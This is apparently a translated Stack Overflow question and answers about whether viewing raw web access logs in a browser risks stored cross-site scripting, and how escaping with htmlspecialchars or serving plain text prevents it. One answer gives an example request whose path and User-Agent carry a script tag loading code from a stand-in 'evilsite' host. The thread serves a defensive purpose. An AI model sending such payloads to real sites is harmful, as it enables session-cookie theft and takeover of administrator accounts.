在没有通过网络浏览器进行消毒的情况下查看访问日志是危险的吗?

时间:2009-06-26 05:46:54

标签: php security logging sanitize

在没有通过网络浏览器进行消毒的情况下查看访问日志是否危险?

我正在考虑记录访问日志,我正在考虑通过wev浏览器查看它,但如果攻击者修改了他的远程主机或用户代理或其他东西,他可以攻击我吗?

将攻击代码插入其远程主机或用户代理或等等。

在通过网络浏览器打开访问日志文件之前,我是否需要通过htmlspecialchar进行清理?

我的意思是攻击者将一些攻击代码插入他的远程主机或用户代理或某些软件中,然后我通过网络浏览器看到访问日志,然后我的电脑将受到该代码的影响。

3 个答案:

答案 0 :(得分:5)

是的,这很危险。

例如,恶意用户只能请求这样的内容:

GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1
Host: www.example.com
Connection: close
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script>

并使用恶意JavaScript破坏您的视图页面。

由于您可能正在查看您网站上的日志,因此您将以具有管理权限的帐户登录。使用恶意JavaScript,攻击者可以窃取您的会话cookie并接管您的会话,并完成您在登录时可以执行的所有操作。

因此,总而言之,您应该肯定转义访问日志页面,除非您希望管理帐户遭到入侵。

答案 1 :(得分:4)

理论上它是可能的,是的,你应该赞扬自己有正确的心态以这种方式思考它。在将其显示在网络浏览器中之前清理任何不受控制的输入总是一个好主意。

我会通过htmlspecialchars()运行日志输出。

答案 2 :(得分:3)

您可能需要输出的某些html格式,因此必须清理/编码日志数据。但是为了论证:如果你以text / plain发送输出,客户端不应该解析任何html / javascript。
例如。

<?php
header('Content-type: text/plain; charset=utf-8');
echo '<script>alert(document.URL);</script>';
的输出显示为
<script>alert(document.URL);</script>
(至少在FF3,IE8,opera,safari中)。